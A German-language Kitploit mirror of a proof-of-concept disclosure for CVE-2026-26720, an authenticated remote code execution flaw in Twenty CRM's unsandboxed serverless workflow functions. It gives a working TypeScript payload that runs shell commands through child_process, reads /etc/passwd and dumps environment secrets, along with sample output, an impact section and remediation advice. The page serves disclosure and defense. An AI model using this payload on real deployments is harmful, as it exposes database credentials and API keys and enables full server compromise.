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CVE-2026-26720-Twenty-RCE — Proof-of-Concept für authentifizierte Remote-Codeausführung in Twenty CRM über nicht-sandboxed serverlose Workflow-Funktionen, die die Ausführung beliebiger Node.js-Befehle und die Offenlegung von Umgebungsvariablen ermöglicht. | Kitploit
Tools/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
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GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Proof-of-Concept für authentifizierte Remote-Codeausführung in Twenty CRM über nicht-sandboxed serverlose Workflow-Funktionen, die die Ausführung beliebiger Node.js-Befehle und die Offenlegung von Umgebungsvariablen ermöglicht.

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vor 7 MonatenNoch nicht geprüft

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Twenty CRM - Authentifizierte Remote Code Execution (RCE)

Überblick

Produkt: Twenty CRM

Schwachstelle: Remote Code Execution (RCE) über Serverless Workflow Functions

Schweregrad: Kritisch

Betroffene Komponente: Workflow-Automatisierung (Code - Serverless Function)

Getestete Version: v1.15.0

Dieses Repository dokumentiert eine kritische Schwachstelle in der Twenty-CRM-Workflow-Engine. Die Komponente „Code - Serverless Function" erlaubt authentifizierten Benutzern die Ausführung beliebigen Node.js-Codes. Aufgrund fehlender Sandboxing-Maßnahmen ist es möglich, das Modul child_process zu importieren und systemnahe Befehle auf dem Host-Server auszuführen.

Details zur Schwachstelle

Die Anwendung ermöglicht es Benutzern, benutzerdefinierte Automatisierungs-Workflows zu erstellen, die einen Code-Ausführungsschritt enthalten. Obwohl dies für die Datenmanipulation gedacht ist, schränkt die Ausführungsumgebung den Zugriff auf die integrierten Node.js-Module oder das zugrunde liegende Betriebssystem nicht ordnungsgemäß ein.

Ein Angreifer kann execSync aus der Bibliothek child_process nutzen, um:

  1. Shell-Befehle auszuführen (z. B. cat, ls, whoami).
  2. Sensible Dateien aus dem Dateisystem zu lesen (z. B. /etc/passwd).
  3. Umgebungsvariablen (process.env) auszugeben und so Datenbank-Anmeldedaten, API-Schlüssel und Anwendungsgeheimnisse offenzulegen.

Proof of Concept (PoC)

Schritte zur Reproduktion

  1. Melden Sie sich bei Twenty CRM an.
  2. Navigieren Sie zu Einstellungen > Workflows.
  3. Erstellen Sie einen neuen Workflow mit einem manuellen Trigger.
  4. Fügen Sie eine Aktion hinzu: Code - Serverless Function.
  5. Fügen Sie den folgenden TypeScript-Payload in den Code-Editor ein:
root@kitploit:~
import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  try {
    // 1. Remote Command Execution: Read system users
    const output = execSync('cat /etc/passwd').toString();
    
    // 2. Information Disclosure: Dump all environment variables (Secrets)
    const secrets = JSON.stringify(process.env);
    
    return { 
      data: output, 
      secrets: secrets 
    };
  } catch (e: any) {
    return { error: e.message };
  }
};

  1. Speichern und führen Sie den Workflow aus.

Code Overview

Beobachtete Ausgabe

Der Workflow wird erfolgreich ausgeführt und gibt die Systemdaten zurück.

Zugriff auf Systemdateien (/etc/passwd):

root@kitploit:~
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...

Offengelegte Umgebungsvariablen: Der process.env-Dump offenbarte kritische Konfigurationsdetails:

  • PG_DATABASE_URL (Datenbank-Anmeldedaten)
  • APP_SECRET (Signaturschlüssel)
  • REDIS_URL
  • AWS_ACCESS_KEY (falls konfiguriert)

Auswirkungen

Diese Schwachstelle ermöglicht einem authentifizierten Benutzer (mit Berechtigung zur Erstellung von Workflows), eine vollständige Systemkompromittierung zu erreichen.

  • Vertraulichkeit: Angreifer können alle Daten in der Datenbank und im Dateisystem lesen.
  • Integrität: Angreifer können Anwendungscode ändern, Daten löschen oder Malware einschleusen.
  • Verfügbarkeit: Angreifer können den Server herunterfahren oder alle Ressourcen verbrauchen.

Behebung

Um dieses Problem zu beheben, benötigt die Funktion „Serverless Function" eine ordnungsgemäße Isolierung.

  • Sandboxing implementieren: Code sollte in einer eingeschränkten Umgebung ausgeführt werden (z. B. einer VM2-Sandbox, einem dedizierten Docker-Container ohne Netzwerk-/Volume-Zugriff oder einer Micro-VM wie Firecracker).
  • Module einschränken: Den Zugriff auf sensible Node.js-Module wie child_process, fs und net deaktivieren.
  • Umgebungsvariablen bereinigen: Sicherstellen, dass der Ausführungskontext die Umgebungsvariablen des übergeordneten Prozesses (die die Geheimnisse der App enthalten) nicht erbt.

Zeitplan

  • 8. Januar 2026: Schwachstelle entdeckt.
  • [Datum]: An das Twenty-CRM-Sicherheitsteam gemeldet.
  • [Status]: Warten auf Patch.
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